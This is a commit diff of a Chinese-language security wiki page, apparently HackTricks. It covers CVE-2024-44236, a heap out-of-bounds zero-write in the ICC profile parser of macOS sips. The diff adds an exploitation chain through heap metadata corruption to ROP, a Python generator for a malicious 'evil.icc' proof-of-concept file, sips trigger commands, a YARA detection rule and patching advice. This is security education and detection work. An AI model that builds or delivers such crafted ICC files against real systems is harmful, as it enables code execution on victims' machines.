Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips

This commit is contained in:
Translator 2025-07-30 04:26:35 +00:00
parent db4809c8a8
commit dbc1db2e26

View File

@ -4,50 +4,94 @@
## 概述 ## 概述
Apple macOS Scriptable Image Processing System (`sips`) ICC 配置文件解析器中的越界写入漏洞macOS 15.0.1, sips-307由于对 `lutAToBType` (`mAB `) 和 `lutBToAType` (`mBA `) 标签中的 `offsetToCLUT` 字段的验证不当。一个精心制作的 ICC 文件可以触发零写,最多可超出堆缓冲区 16 字节,从而破坏堆元数据或函数指针,并启用任意代码执行 (CVE-2024-44236)。 Apple macOS **可脚本图像处理系统** (`sips`) ICC 配置文件解析器中的一个越界 **零写** 漏洞 (macOS 15.0.1, `sips-307`) 允许攻击者破坏堆元数据并将原语转变为完整的代码执行。该漏洞位于 `lutAToBType` (`mAB `) 和 `lutBToAType` (`mBA `) 标签的 `offsetToCLUT` 字段的处理。如果攻击者将 `offsetToCLUT == tagDataSize`,解析器会在堆缓冲区的末尾 **擦除 16 字节**。堆喷射使攻击者能够将分配器结构或稍后将被解引用的 C++ 指针归零,从而产生 **任意写入到执行** 链 (CVE-2024-44236, CVSS 7.8)。
> Apple 在 macOS Sonoma 15.2 / Ventura 14.7.1 中修复了该漏洞 (2024年10月30日)。第二个变种 (CVE-2025-24185) 于 2025年4月1日在 macOS 15.5 和 iOS/iPadOS 18.5 中修复。
## 易受攻击的代码 ## 易受攻击的代码
易受攻击的函数从攻击者控制的偏移量开始读取并将 16 字节置为零,而不确保其位于分配的缓冲区内:
```c ```c
// Pseudocode from sub_1000194D0 in sips-307 (macOS 15.0.1) // Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
for (i = offsetToCLUT; i < offsetToCLUT + 16; i++) { if (offsetToCLUT <= tagDataSize) {
if (i > numberOfInputChannels && buffer[i] != 0) // BAD ➜ zero 16 bytes starting *at* offsetToCLUT
buffer[i] = 0; for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++)
buffer[i] = 0; // no bounds check vs allocated size!
} }
``` ```
仅执行检查 `offsetToCLUT <= totalDataLength`。通过设置 `offsetToCLUT == tagDataSize`,循环索引到 `buffer` 末尾之后的 16 字节,破坏相邻的堆元数据。
## 利用步骤 ## 利用步骤
1. **构造恶意 `.icc` 配置文件:** 1. **制作恶意的 `.icc` 配置文件**
- 构建 ICC 头128 字节),签名为 `acsp`,并包含一个 `lutAToBType``lutBToAType` 标签条目。
- 在标签表中,将 `offsetToCLUT` 设置为标签的 `size``tagDataSize`)。 * 设置一个最小的 ICC 头 (`acsp`) 并添加一个 `mAB ` (或 `mBA `) 标签。
- 在标签数据块后立即放置攻击者控制的数据,以覆盖堆元数据。 * 配置标签表,使 **`offsetToCLUT` 等于标签大小** (`tagDataSize`)。
2. **触发解析:** * 将攻击者控制的数据放置在标签之后,以便 16 次零写入覆盖分配器元数据。
2. **通过任何触及配置文件的 sips 操作触发解析**
```bash ```bash
sips --verifyColor malicious.icc # 验证路径(不需要输出文件)
sips --verifyColor evil.icc
# 或在转换嵌入配置文件的图像时隐式触发
sips -s format png payload.jpg --out out.png
``` ```
3. **堆元数据损坏:** OOB 零写覆盖分配器元数据或相邻指针,使攻击者能够劫持控制流并在 `sips` 进程的上下文中实现任意代码执行。 3. **堆元数据损坏 ➜ 任意写入 ➜ ROP**
在苹果默认的 **`nano_zone`** 分配器中16 字节槽的元数据位于对齐的 0x1000 块 **之后**。通过将配置文件的标签放置在这样的块的末尾16 次零写入会破坏 `meta->slot_B`。在随后的 `free` 之后,受污染的指针被排入小型空闲列表,使攻击者 **能够在任意地址分配一个假对象** 并覆盖 sips 使用的 C++ vtable 指针,最终将执行权转移到存储在恶意 ICC 缓冲区中的 ROP 链。
### 快速 PoC 生成器 (Python 3)
```python
#!/usr/bin/env python3
import struct, sys
HDR = b'acsp'.ljust(128, b'\0') # ICC header (magic + padding)
TAGS = [(b'mAB ', 132, 52)] # one tag directly after header
profile = HDR
profile += struct.pack('>I', len(TAGS)) # tag count
profile += b''.join(struct.pack('>4sII', *t) for t in TAGS)
mab = bytearray(52) # tag payload (52 bytes)
struct.pack_into('>I', mab, 44, 52) # offsetToCLUT = size (OOB start)
profile += mab
open('evil.icc', 'wb').write(profile)
print('[+] Wrote evil.icc (%d bytes)' % len(profile))
```
### YARA 检测规则
```yara
rule ICC_mAB_offsetToCLUT_anomaly
{
meta:
description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)"
author = "HackTricks"
strings:
$magic = { 61 63 73 70 } // 'acsp'
$mab = { 6D 41 42 20 } // 'mAB '
$mba = { 6D 42 41 20 } // 'mBA '
condition:
$magic at 0 and
for any i in (0 .. 10): // up to 10 tags
(
($mab at 132 + 12*i or $mba at 132 + 12*i) and
uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
)
}
```
## 影响 ## 影响
成功利用将导致在运行易受攻击的 `sips` 实用程序的 macOS 系统上以用户权限进行远程任意代码执行。 打开或处理精心制作的 ICC 配置文件会导致在调用用户的上下文中发生远程 **任意代码执行**预览、QuickLook、Safari 图像渲染、邮件附件等),绕过 Gatekeeper因为该配置文件可以嵌入在其他无害的图像中PNG/JPEG/TIFF
## 检测 ## 检测与缓解
- 监控常见协议FTP、HTTP/S、IMAP、SMB、NFS、SMTP上的文件传输。 * **打补丁!** 确保主机运行 macOS ≥ 15.2 / 14.7.1(或 iOS/iPadOS ≥ 18.1)。
- 检查传输的文件是否具有签名 `acsp` * 在电子邮件网关和 EDR 解决方案上部署上述 YARA 规则。
- 对于每个 `mAB ``mBA ` 标签,验证 `Offset to CLUT` 字段是否等于 `Tag data size` * 在对不受信任的文件进行进一步处理之前,使用 `exiftool -icc_profile= -overwrite_original <file>` 删除或清理嵌入的 ICC 配置文件。
- 如果满足此条件,则标记为可疑。 * 通过在分析未知内容时在沙箱“透明度与现代化”虚拟机中运行预览/QuickLook 来增强安全性。
* 对于 DFIR查看统一日志中沙箱应用程序最近执行的 `sips --verifyColor``ColorSync` 库加载。
## 参考 ## 参考
- ZDI 博客CVE-2024-44236Apple macOS sips 实用程序中的远程代码执行漏洞 * Trend Micro Zero Day Initiative 通告 ZDI-24-1445 “Apple macOS ICC 配置文件解析越界写入远程代码执行 (CVE-2024-44236)”
https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulnerability-in-apple-macos https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
- Apple 2024 年 10 月安全更新(修补 CVE-2024-44236 * Apple 安全更新 HT213981 “关于 macOS Sonoma 15.2 的安全内容”
https://support.apple.com/en-us/121564 https://support.apple.com/en-us/HT213981
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}